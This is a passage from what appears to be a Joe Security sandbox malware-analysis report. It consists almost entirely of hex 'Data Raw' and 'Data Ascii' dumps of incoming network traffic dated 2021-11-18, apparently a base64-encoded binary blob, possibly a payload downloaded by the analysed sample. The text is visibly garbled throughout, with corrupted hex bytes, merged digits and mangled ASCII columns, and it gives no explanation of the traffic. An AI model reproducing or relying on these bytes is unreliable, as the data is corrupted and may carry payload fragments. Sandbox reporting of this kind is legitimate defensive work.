6c 00 4f 00 56 00 32 00 64 00 42 00 51 00 55 00 46 00 54 00 57 00 46 00

Data Ascii: LTjhBQUFadnhnQUFDZ3NyRHhJQKINYOFBQW90QmdsdnIBQUFDAEICS01rQUFBb3Q2T]RPRWAIKOZpW
UFBQnR2Q3dBQUNOdOd|NVICQUFZVEJCRUVIA3IOV2dBQUFTWF

Data Raw: 47 00 64 00 4a 00 62 00 7a 00 52 00 6e 00 51 00 55 00 46 00 43 00 62 00 54 00 6¢ 00 43 00 51 00 55 00 46 00
4200 52 00 30 00 70 00 53 00 5a 00 33 00 70 00 44 00 51 00 55 00 6¢ 00 45 00 51 00 6b 00 4e 00 6f 00 5a 00 45 00 46
00 42 00 51 00 55 00 64 00 48 00 56 00 45 00 31 00 48 00 59 00 7a 00 59 00 77 00 51 00 55 00 46 00 42 00 63 00 44 00
5a 00 4c 00 62 00 31 00 6¢ 00 44 00 53 00 30 00 39 00 5a 00 51 00 55 00 46 00 42 00 57 00 6 00 5a 00 51 00 5a 00 30 0
046 00 42 00 51 00 6d 00 6¢ 00 56 00 57 00 55 00 31 00 33 00 5a 00 30 00 4e 00 42 00 64 00 31 00 46 00 76 00 57 00
47 00 64 00 42 00 51 00 55 00 4a 00 6f 00 61 00 33 00 70 00 43 00 62 00 6b 00 39 00 30 00 51 00 55 00 46 00 42 00 53
0032 00 56 00 70 00 63 00 57 00 31 00 42 00 4d 00 6a 00 6¢ 00 6a 00 51

Data Ascii: GdJbzZRnQUFCbTICQUFBROpSZ3pDQUIEQkN0ZEFBQUAHVE1HYZzYWQUFBCDZLb1IDS09ZQUFBWNZQZOF
BQMIVWU13Z0ONBd1FvWGdBQUJ0a3pCbk90QUFBS2VpcW1BM;liQ

Data Raw: 00 63 00 55 00 46 00 42 00 51 00 55 00 74 00 69 00 4e 00 45 00 6¢ 00 43 00 51 00 55 00 46 00 5a 00 62 00 47
00 4d 00 32 00 63 00 30 00 46 00 42 00 51 00 58 00 42 00 32 00 5a 00 6d 00 64 00 46 00 51 00 55 00 4a 00 70 00 56 00
6e 00 70 00 78 00 5a 00 30 00 46 00 42 00 51 00 32 00 30 00 72 00 54 00 55 00 46 00 52 00 51 00 55 00 64 00 4b 00 57
00 45 00 30 00 79 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 30 00 57 00 55 00 4a 00 42 00 51 00 56 00 6¢ 00 73 00
59 00 7a 00 5a 00 76 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 70 00 51 00 55 00 56 00 42 00 51 00 6d 00 6¢ 00 57
00 65 00 6e 00 46 00 52 00 51 00 55 00 46 00 44 00 62 00 54 00 6b 00 79 00 51 00 56 00 46 00 42 00 52 00 30 00 70 00
59 00 54 00 33 00 46 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 52 00

Data Ascii: cCUFBQUIINEICQUFZbGM2cOFBQXB2ZmdFQUJpVnpxZ0FBQ20rTUFRQUAKWEOYQUFBS2I0WUJBQVIsYz
ZVQUFBCHZpQUVBQMIWenFRQUFDbTKyQVFBROpYT3FBQUFLY]R

Data Raw: 74 00 50 00 53 00 55 00 46 00 42 00 51 00 56 00 70 00 32 00 5a 00 47 00 64 00 46 00 51 00 55 00 4a 00 70
00 63 00 45 00 64 00 43 00 51 00 32 00 6b 00 76 00 51 00 56 00 46 00 42 00 52 00 30 00 74 00 50 00 57 00 55 00 46 00
42 00 51 00 56 00 70 00 32 00 59 00 32 00 64 00 46 00 51 00 55 00 4a 00 70 00 63 00 46 00 4e 00 42 00 4d 00 6a 00 6¢
00 6a 00 51 00 56 00 46 00 42 00 52 00 30 00 78 00 42 00 63 00 30 00 56 00 4c 00 54 00 6¢ 00 56 00 42 00 51 00 55 00
46 00 5a 00 62 00 33 00 6¢ 00 6e 00 52 00 55 00 46 00 43 00 61 00 57 00 39 00 42 00 52 00 58 00 70 00 42 00 52 00 55
00 46 00 44 00 61 00 30 00 46 00 42 00 51 00 55 00 46 00 70 00 51 00 55 00 46 00 42 00 55 00 6b 00 45 00 79 00 4f 00
57 00 56 00 42 00 55 00 55 00 46 00 48 00 54 00 45 00 4e 00 42 00 57 00 47

Data Ascii: tPSUFBQVp2ZGdFQUJIpcEdCQ2kvQVFBROIPWUFBQVp2Y2dFQUJIpcFNBMIjQVFBROXBCOVLTIVBQUFZ
b3INRUFCaW9BRXpBRUFDa0OFBQUFpQUFBUKEYOWVBUUFHTENBWG

Data Raw: 00 6d 00 56 00 42 00 51 00 6b 00 56 00 46 00 59 00 6e 00 64 00 33 00 51 00 55 00 46 00 42 00 62 00 7a 00
5a 00 59 00 55 00 43 00 38 00 76 00 4c 00 7a 00 6b 00 30 00 54 00 55 00 56 00 52 00 55 00 58 00 4e 00 43 00 65 00 45
00 56 00 46 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4d 00 7a 00 5a 00 30 00 31 00 74 00 4d 00
32 00 64 00 42 00 53 00 55 00 59 00 78 00 5a 00 30 00 31 00 44 00 51 00 57 00 56 00 50 00 59 00 56 00 51 00 34 00 62
00 53 00 38 00 76 00 4c 00 79 00 38 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 42 00 52 00 30 00 74 00 6e 00
52 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 46 00 51 00 56 00 4a 00 78 00 59 00 30 00 46 00 42
00 64 00 7a 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 44 00

Data Ascii: mVBQkVFYnd3QUFBbzZYUC8vLzKkOTUVRUXNCeEVFYndzQUFBcmMzZ01tM2dBSUYxZ01DQ
WVPYVQ4bS8vLy8zZ01tM2dBROtnRKFBQUFBQUAFQVJXYOFBdzhBQUFFQUFD

Data Raw: 69 00 65 00 48 00 64 00 42 00 51 00 55 00 46 00 76 00 56 00 45 00 52 00 45 00 61 00 58 00 4a 00 42 00 51
00 5500 46 00 42 00 52 00 56 00 46 00 34 00 64 00 6b 00 68 00 52 00 51 00 55 00 46 00 44 00 61 00 45 00 31 00 52 00
52 00 56 00 4a 00 43 00 65 00 6b 00 6¢ 00 6e 00 51 00 55 00 46 00 44 00 61 00 45 00 31 00 53 00 52 00 56 00 4a 00 47
00 64 00 6a 00 4a 00 42 00 51 00 55 00 46 00 44 00 61 00 46 00 70 00 78 00 55 00 47 00 39 00 5a 00 51 00 55 00 46 00
42 00 51 00 56 00 4a 00 46 00 56 00 79 00 39 00 5a 00 51 00 55 00 46 00 42 00 53 00 30 00 56 00 52 00 5a 00 33 00 64
00 6¢ 00 64 00 32 00 4e 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 79 00 62 00 33 00 5a 00 6a 00 61 00 45 00
56 00 53 00 59 00 6e 00 6¢ 00 4e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a

Data Ascii: ieHIBQUFVWEREaxXJBQUFBRVF4dkhRQUFDaE1RRVJCekinQUFDaE1SRVJIGdjJIBQUFDaFpxUG9ZQUFBQ
VJIFVy9ZQUFBSOVRZ3dId2NnQUFBZO0EYb3ZjaEVSYnINQUFBCcHZ

Data Raw: 00 46 00 42 00 51 00 32 00 67 00 34 00 59 00 55 00 74 00 47 00 53 00 55 00 46 00 42 00 51 00 58 00 42 00
3500 65 00 48 00 64 00 4a 00 51 00 57 00 4e 00 44 00 5a 00 33 00 4a 00 42 00 51 00 55 00 46 00 4c 00 5a 00 6d 00 67
00 30 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 49 00 64 00 30 00 46 00 42 00 51 00 32 00 67 00 34 00 59 00 30 00
74 00 47 00 53 00 55 00 46 00 42 00 51 00 58 00 42 00 35 00 65 00 48 00 64 00 4a 00 51 00 57 00 4e 00 44 00 5a 00 33
00 4a 00 42 00 51 00 55 00 46 00 4c 00 5a 00 6d 00 67 00 30 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 49 00 64 00
3000 46 00 42 00 51 00 32 00 68 00 6¢ 00 54 00 6¢ 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 56 00 58 00 53
00 44 00 46 00 35 00 5a 00 47 00 49 00 32 00 51 00 55 00 46 00 42 00 51 00

Data Ascii: FBQ2g4YUtGSUFBQXB5eHdJQWNDZ3JBQUFLZmgOQUFBCcHZIdOFBQ2g4YOtGSUFBQXB5eH
dJQWNDZ3IBQUFLZmgOQUFBcHZIdOFBQ2hITIdnQUFBU1VXSDF5ZGI2QUFBQ

Data Raw: 4c 00 32 00 59 00 76 00 4c 00 7a 00 4e 00 6e 00 62 00 30 00 68 00 4d 00 51 00 56 00 6¢ 00 49 00 59 00 6e 00
64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4d 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 42 00 52 00 30
00 74 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 59 00 34 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 42 00 51 00
55 00 46 00 72 00 5a 00 30 00 56 00 42 00 51 00 55 00 74 00 33 00 51 00 55 00 46 00 42 00 51 00 53 00 74 00 42 00 5a
00 30 00 46 00 42 00 52 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 51 00 58 00 4e 00 33 00 51 00 55 00 46 00 42 00 53 00 6d 00 74 00 43 00 51 00 55 00 46 00 43
00 54 00 55 00 46 00 6e 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42

Data Ascii: L2YvLzNnbOhMQVIIYndzQUFBcmMzZ01tM2dBROtnQUFBRUY4QUFBQOFBQUFrZ0VBQUt3QUFBQSBZ0
FBREFBQUFBQUFBQUFBQUFBQXN3QUFBSMtCQUFCTUFNQUFBAOFB
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 00 51 00 4d 00 30 00 46 00 42 00 51 00 55 00 64 00 45 00 51 00 57 00 64 00 49 00 59 00 69 00 39 00 4a 00
51 00 55 00 46 00 42 00 57 00 55 00 6c 00 49 00 62 00 7a 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b
00 52 00 45 00 64 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00
50 00 51 00 55 00 46 00 42 00 51 00 32 00 35 00 4d 00 63 00 6b 00 4e 00 42 00 51 00 6 00 64 00 6d 00 61 00 44 00 52
00 42 00 51 00 55 00 46 00 76 00 62 00 30 00 68 00 33 00 51 00 55 00 46 00 44 00 62 00 53 00 38 00 77 00 51 00 55 00
46 00 42 00 52 00 30 00 4e 00 43 00 57 00 6e 00 59 00 35 00 5a 00 30 00 46 00 42 00 51 00 6d 00 64 00 6f 00 64 00 6a
00 52 00 42 00 51 00 55 00 46 00 44 00 5a 00 31 00 70 00 36 00 4f 00 58 00

Data Ascii: QMOFBQUAEQWdIYi9JQUFBWUIIbzFhQUFBQkpkREIBQUFFSOR|QUFBcHpPQUFBQ25MckN
BQndmaDRBQUFvbOh3QUFDbS8WQUFBRONCWNY5Z0FBQmdodjRBQUFDZ1p60X

Data Raw: 55 00 46 00 42 00 53 00 30 00 74 00 43 00 4f 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 54 00 31 00 46 00
4200 51 00 55 00 4e 00 74 00 4c 00 33 00 6¢ 00 42 00 51 00 55 00 46 00 48 00 53 00 6¢ 00 68 00 4b 00 5a 00 55 00 52
00 42 00 51 00 6e 00 64 00 6a 00 63 00 6b 00 6¢ 00 4e 00 51 00 55 00 68 00 43 00 4b 00 30 00 68 00 6e 00 51 00 55 00
46 00 44 00 61 00 57 00 64 00 6d 00 51 00 55 00 46 00 42 00 53 00 30 00 74 00 43 00 5a 00 30 00 46 00 42 00 51 00 33
00 4e 00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4¢ 00 59 00
69 00 39 00 52 00 51 00 55 00 46 00 42 00 57 00 57 00 78 00 47 00 62 00 53 00 38 00 79 00 51 00 55 00 46 00 42 00 52
0032 00 49 00 72 00 51 00 55 00 46 00 42 00 51 00 58 00 4a 00 6¢ 00 51

Data Ascii: UFBSOtCOEFBQW9vT1FBQUNIL3IBQUFHSIhKZURBQndjckINQUhCKOhnQUFDaWdmQUFBSOtCZOFBQ3N
VR1FBQUszTTRBQUFLYi9RQUFBWWxGbS8yQUFBR2IrQUFBQXJIQ

Data Raw: 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 52 00 31 00 51 00 55 00 46 00 42 00 52 00
55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 70 00 61
00 48 00 56 00 42 00 51 00 55 00 46 00 4c 00 51 00 57 00 35 00 7a 00 55 00 55 00 46 00 42 00 51 00 55 00 56 00 46 00
5500 57 00 39 00 53 00 52 00 46 00 5a 00 6e 00 55 00 6b 00 52 00 6f 00 59 00 56 00 64 00 58 00 51 00 6b 00 56 00 50
00 52 00 6a 00 56 00 61 00 57 00 55 00 56 00 52 00 4e 00 46 00 6¢ 00 73 00 62 00 47 00 64 00 53 00 52 00 47 00 68 00
7400 56 00 31 00 64 00 48 00 61 00 31 00 4a 00 45 00 61 00 48 00 46 00 58 00 59 00 56 00 63 00 76 00 65 00 55 00 46
00 42 00 51 00 55 00 74 00 6d 00 55 00 32 00 64 00 42 00 51 00 55 00 46 00

Data Ascii: YUFBQUJKZER1QUFBRUEYOFBQXB6TOFBQUNpaHVBQUFLQWS5zUUFBQUVFUW9ISRFZnUKRo
YVdXQkVPRjVaWUVRNFIsbGdSRGhtV1dHalJEaHFXYVcveUFBQUtMU2dBQUF

Data Raw: 46 00 52 00 51 00 55 00 46 00 42 00 62 00 6e 00 4e 00 51 00 51 00 55 00 46 00 42 00 52 00 55 00 59 00 79
00 62 00 33 00 70 00 58 00 64 00 30 00 6f 00 33 00 52 00 6b 00 46 00 42 00 51 00 55 00 4a 00 42 00 59 00 30 00 6¢ 00
58 00 53 00 54 00 68 00 33 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 35 00 61 00 30 00 46 00 42 00 51 00 56 00 46
00 53 00 52 00 48 00 67 00 34 00 54 00 57 00 70 00 57 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 73 00 4d 00 45 00
38 00 30 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 4f 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 4e 00 4e 00 45
00 46 00 42 00 51 00 55 00 74 00 4c 00 52 00 7a 00 52 00 42 00 51 00 55 00 46 00 76 00 51 00 32 00 56 00 34 00 51 00
55 00 46 00 42 00 51 00 56 00 46 00 53 00 51 00 6d 00 68 00 46 00 53 00 6¢

Data Ascii: FRQUFBbnNQQUFBRUYyb3pXd003RkFBQUJBYO0IXSTh3QUFBQ2V5a0FBQVFSRHg4TWpWh0
FBQUVSMES0QUFBUW90dOFBQ25NNEFBQUILRZRBQUFVQ2VAQUFBQVFSQMhFS

Data Raw: 00 32 00 4e 00 46 00 55 00 56 00 6¢ 00 57 00 56 00 30 00 4a 00 4e 00 52 00 30 00 56 00 52 00 57 00 55 00 52
00 4d 00 4e 00 47 00 4e 00 48 00 52 00 6d 00 6¢ 00 71 00 4e 00 30 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 32 00
5a 00 6¢ 00 51 00 6e 00 6¢ 00 5a 00 56 00 32 00 46 00 6f 00 54 00 55 00 67 00 7a 00 5a 00 30 00 46 00 53 00 51 00 6e
00 6¢ 00 76 00 51 00 6b 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 79 00 4e 00
6b 00 46 00 42 00 59 00 30 00 74 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 64 00 4a 00 57 00 47 00 46 00 73 00 4f
00 46 00 68 00 68 00 64 00 6a 00 52 00 43 00 53 00 32 00 64 00 42 00 51 00 55 00 56 00 36 00 51 00 55 00 4e 00 42 00
51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4e 00 30 00 46 00 42 00

Data Ascii: 2NFUVIWVO0INROVRWURMNGNHRmIgNOFBQUtFd2ZIQnIZV2FoTUgzZ0FSQnlvQkVBQUFBQUFBQVBYNKF
BYOtBQUFCSmMdIJWGFsOFhhdjRCS2dBQUVE6QUNBQXdBQUFBNOFB

Data Raw: 69 00 64 00 33 00 4e 00 42 00 51 00 55 00 46 00 79 00 59 00 30 00 4a 00 70 00 64 00 30 00 64 00 43 00 62
00 54 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00
52 00 6b 00 4e 00 76 00 53 00 55 00 74 00 6 00 51 00 55 00 46 00 42 00 51 00 55 00 56 00 76 00 51 00 55 00 46 00 42
00 51 00 30 00 46 00 44 00 54 00 55 00 46 00 44 00 55 00 33 00 64 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00
4200 51 00 55 00 4e 00 42 00 51 00 6b 00 6¢ 00 42 00 53 00 6b 00 52 00 5a 00 51 00 55 00 4e 00 6e 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 46 00 72 00 53 00 55 00 46 00 42 00 64 00 32 00
39 00 42 00 51 00 55 00 46 00 47 00 59 00 55 00 46 00 30 00 51 00 58 00 6¢

Data Ascii: id3NBQUFyY0Jpd0dChThMQUFBSzNONERKJDRBRKNvSUtnQUFBQUVVQUFBQOFDTUFDU3d
BQ2dBQUFBQUNBQKIBSKRZQUNNQUFBQUFBQUFBQVFrSUFBA29BQUFGYUFOQX

Data Raw: 00 46 00 43 00 51 00 55 00 46 00 43 00 65 00 57 00 4a 00 6e 00 4d 00 45 00 46 00 6a 00 51 00 6¢ 00 52 00 52
0053 00 6b 00 46 00 42 00 51 00 55 00 46 00 70 00 61 00 54 00 5a 00 42 00 51 00 55 00 46 00 4c 00 52 00 32 00 38 00
79 00 54 00 6b 00 46 00 42 00 51 00 55 00 4a 00 4b 00 55 00 6¢ 00 6¢ 00 59 00 52 00 6b 00 4e 00 70 00 4b 00 30 00 46
0042 00 51 00 55 00 74 00 76 00 61 00 56 00 56 00 59 00 52 00 6e 00 68 00 52 00 62 00 33 00 5a 00 6e 00 51 00 55 00
46 00 44 00 63 00 55 00 6¢ 00 73 00 52 00 30 00 4a 00 6a 00 56 00 55 00 74 00 4d 00 4e 00 45 00 46 00 42 00 51 00 58
00 46 00 70 00 53 00 6¢ 00 4a 00 72 00 56 00 30 00 5a 00 44 00 61 00 53 00 74 00 42 00 51 00 55 00 46 00 4c 00 62 00
32 00 6¢ 00 70 00 4c 00 30 00 46 00 42 00 51 00 55 00 74 00 4c 00 52 00

Data Ascii: FCQUFCeWJnMEFQIRRSKFBQUFpaTZBQUFLR28y TkFBQUJKUIIYRKNpKOFBQUtvaVVYRNhRb3ZnQUFD
cUIsROJ)VUIMNEFBQXFpSIJrvV0ZDaStBQUFLb2IpLOFBQULLR

Data Raw: 52 00 47 00 64 00 43 00 64 00 32 00 49 00 7a 00 59 00 30 00 4a 00 42 00 51 00 57 00 39 00 76 00 5a 00 55
00 46 00 46 00 51 00 55 00 4e 00 74 00 4b 00 31 00 52 00 42 00 55 00 55 00 46 00 48 00 53 00 6¢ 00 4a 00 61 00 64 00
6d 00 78 00 52 00 52 00 55 00 46 00 43 00 62 00 53 00 39 00 4a 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 6e 00 54
00 57 00 30 00 7a 00 5a 00 30 00 46 00 4b 00 59 00 6a 00 4e 00 72 00 51 00 6b 00 46 00 42 00 62 00 33 00 52 00 77 00
64 00 44 00 52 00 4c 00 51 00 31 00 4e 00 33 00 52 00 30 00 4e 00 58 00 4f 00 45 00 78 00 42 00 51 00 55 00 46 00 4c
00 4d 00 30 00 34 00 30 00 53 00 30 00 4e 00 44 00 64 00 30 00 64 00 44 00 52 00 7a 00 68 00 4d 00 51 00 55 00 46 00
42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 74 00 43 00 65 00 58 00 64 00 48

Data Ascii: RGdCd21zY0JBQW9OVZUFFQUNtK1RBUUFHSIJadmxRRUFChS9JQUFBSzNnTWO0zZOFKYjNrQkFBb3RwdD
RLQIN3RONXOEXBQUFLM040SONDdOdDRzhMQUFBSzNONEtCeXdH

Data Raw: 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 6b 00 64 00 30 00 56 00 42 00 51 00 32 00 6¢ 00 56 00 64
00 45 00 4a 00 44 00 57 00 56 00 56 00 4¢ 00 64 00 31 00 5a 00 32 00 61 00 47 00 64 00 42 00 51 00 55 00 4e 00 78 00
5300 57 00 38 00 32 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 76 00 56 00 45 00 46 00 42 00 51 00 55 00 73 00 7a
00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 42 00 53 00 6d 00 49 00 7a 00 61 00 30 00 4a 00 42 00 51 00 57 00 38 00
3200 51 00 56 00 41 00 76 00 4c 00 79 00 38 00 35 00 4e 00 45 00 74 00 44 00 55 00 33 00 64 00 48 00 51 00 31 00 63
00 34 00 54 00 45 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 6a 00 52 00 4c 00 51 00 30 00 4e 00 33 00 52 00 30 00
4e 00 48 00 4f 00 45 00 78 00 42 00 51 00 55 00 46 00 4c 00 4d 00 30 00

Data Ascii: N\QUFBCcHZkdOVBQ2IVIEIDWVVLA1Z2aGdBQUNXSW82QUFBQ20vVEFBQUszZ01tM2dBSmIza0JBQWS2Q
VAVLY85NEtDU3dHQ1c4TEFBQUsZT]RLQON3RONHOEXBQUFLMO
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2021-11-18 09:30:21 UTC 128 IN Data Raw: 55 00 46 00 45 00 4e 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46
00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 4e 00 42 00 51 00 55 00 46 00 42 00 62 00 55 00 46 00 42 00 51 00 55 00
46 00 48 00 4f 00 45 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 56 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 0
046 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 71 00 64 00
30 00 46 00 42 00 51 00 55 00 6¢ 00 5a 00 51 00 55 00 46 00 42 00 51 00 56 00 5a 00 42 00 55 00 55 00 46 00 42 00 52
00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 51 00 55 00 46 00 42 00
51 00 57 00 68 00 6e 00 51 00 55 00 46 00 42 00 53 00 6a 00 42 00 42 00 51
Data Ascii: UFENUFBQUFBJOFBQUFVQUFBRUNBQUFBbUFBQUFHOEFBQUFIQVFBQURBQUFBQUFBQUFBQ
0FBQUFqdOFBQUIZQUFBQVZBUUFBREFBQUFBQUFBQUFDQUFBQWhNQUFBS|BBQ

2021-11-18 09:30:21 UTC 132 IN Data Raw: 00 4d 00 55 00 46 00 52 00 51 00 55 00 74 00 45 00 56 00 47 00 6¢ 00 4e 00 51 00 55 00 46 00 42 00 51 00 55
00 4e 00 58 00 4f 00 54 00 4a 00 42 00 55 00 55 00 46 00 4¢ 00 5a 00 45 00 55 00 77 00 51 00 55 00 46 00 42 00 52 00
56 00 52 00 43 00 51 00 6b 00 56 00 46 00 53 00 48 00 68 00 68 00 54 00 6¢ 00 64 00 6e 00 51 00 55 00 46 00 42 00 55
00 31 00 68 00 52 00 4d 00 57 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00
59 00 33 00 70 00 6 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 6b 00 64 00 30 00 56 00 42 00 51 00 32 00 6¢ 00 70
00 53 00 30 00 46 00 52 00 51 00 55 00 74 00 4b 00 55 00 30 00 31 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00
4200 51 00 31 00 46 00 52 00 52 00 6d 00 39 00 55 00 51 00 6c 00 4e 00
Data Ascii: MUFRQUIEVGINQUFBQUNXOTJIBUUFLZEUWQUFBRVRCQKVFSHNhTIdNQUFBULhRMWABQUJD
ZzNBQUFLY3pnQUFBcHZKdOVBQ2IpSOFRQUIKUO1BQUFBQUFBQIFRRMIUQIN

2021-11-18 09:30:21 UTC 136 IN Data Raw: 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00
63 00 57 00 6¢ 00 47 00 4d 00 6a 00 6¢ 00 4e 00 51 00 55 00 46 00 42 00 53 00 30 00 59 00 31 00 62 00 31 00 68 00 71
00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 45 00 5a 00 6f 00 4f 00 57 00 4e 00 75 00 55 00 6d 00 52 00
3200 57 00 6e 00 64 00 42 00 51 00 55 00 4e 00 6f 00 59 00 57 00 46 00 44 00 64 00 44 00 52 00 4b 00 53 00 6e 00 51 0
03000 51 00 57 00 5a 00 6f 00 4 00 45 00 46 00 42 00 51 00 57 00 39 00 78 00 51 00 6d 00 6¢ 00 76 00 51 00 55 00 46
00 42 00 52 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 36 00 4f 00 45 00
46 00 42 00 64 00 32 00 39 00 42 00 51 00 55 00 46 00 46 00 59 00 6b
Data Ascii: JDZzNBQUFLY3pnQUFBcWIGMINQUFBS0Y 1b1hqVm9BQUFFbEZoOWNuUmMR2WndBQUNoYW
FDdDRKSNQOQWZoNEFBQWIXxQmIVQUFBRVFBQUFBQUFBQVB60OEFBA29BQUFFYK

2021-11-18 09:30:21 UTC 140 IN Data Raw: 00 55 00 74 00 4c 00 53 00 6¢ 00 56 00 43 00 51 00 55 00 46 00 76 00 63 00 30 00 4e 00 33 00 53 00 6a 00 64
0053 00 64 00 30 00 46 00 42 00 51 00 6b 00 4e 00 6f 00 65 00 55 00 46 00 42 00 51 00 55 00 74 00 42 00 62 00 6e 00
52 00 47 00 51 00 55 00 46 00 42 00 52 00 57 00 5a 00 75 00 55 00 55 00 46 00 42 00 51 00 57 00 39 00 76 00 62 00 46
00 46 00 46 00 51 00 55 00 4e 00 70 00 64 00 30 00 78 00 42 00 62 00 6€ 00 52 00 47 00 51 00 55 00 46 00 42 00 52 00
55 00 74 00 49 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 44 00 5a 00 54 00 42 00 72 00 51 00 55 00 46 00 42 00 55
00 69 00 74 00 6b 00 51 00 55 00 46 00 42 00 51 00 32 00 6¢ 00 70 00 56 00 6b 00 46 00 52 00 51 00 55 00 74 00 4d 00
51 00 58 00 4e 00 44 00 5a 00 54 00 42 00 72 00 51 00 55 00 46 00 42 00
Data Ascii: UtLSIVCQUFvcON3SjdSdOFBQkNoeUFBQUIBbnRGQUFBRWZuUUFBQWIvbFFFQUNpdOXBbnRGQUFBRUL
ISUFBQW9DZTBrQUFBUitkQUFBQ2IpVKFRQUIMQXNDZTBIQUFB

2021-11-18 09:30:21 UTC 144 IN Data Raw: 4c 00 61 00 55 00 6¢ 00 44 00 51 00 54 00 4d 00 79 00 55 00 55 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00
4400 52 00 44 00 5a 00 54 00 56 00 46 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 4a 00 5a 00 30 00 6¢ 00 45 00 5a
00 6¢ 00 70 00 46 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 49 00 5a 00 30 00 6f 00 33 00 61 00 32 00 64 00 42 00
51 00 55 00 4a 00 44 00 62 00 32 00 6¢ 00 42 00 5a 00 30 00 34 00 35 00 61 00 32 00 64 00 42 00 51 00 55 00 4a 00 44
00 62 00 32 00 56 00 42 00 62 00 6e 00 56 00 55 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 70 00 53 00 55 00 4e 00
42 00 4d 00 7a 00 4a 00 55 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 6f 00 4e 00 45 00 4e 00 6¢ 00 4e 00 56 00 46
0042 00 51 00 55 00 46 00 52 00 63 00 55 00 6¢ 00 6e 00 53 00 55 00 52
Data Ascii: LaUIDQTMyUUFBQUVLaDRDZTVFQUFBUXFJIZOIEZIpFQUFBUXFIZ003a2dBQUJDb2IBZ045a2dBQUJIDb
2VBbnVUQUFBRUtpSUNBMzJUQUFBRUtoNENINVFBQUFRcUINSUR

2021-11-18 09:30:21 UTC 148 IN Data Raw: 00 46 00 4c 00 54 00 45 00 46 00 4a 00 57 00 45 00 74 00 6e 00 59 00 31 00 68 00 58 00 51 00 58 00 4e 00
49 00 51 00 6d 00 38 00 31 00 63 00 45 00 31 00 31 00 53 00 56 00 64 00 4c 00 61 00 54 00 56 00 36 00 53 00 46 00 46
00 4a 00 51 00 55 00 4a 00 76 00 51 00 56 00 42 00 42 00 55 00 55 00 46 00 46 00 53 00 32 00 67 00 30 00 51 00 30 00
7400 48 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 78 00 53 00 32 00 64 00 4f 00 64 00 6b 00 70 00 52 00 52 00 55
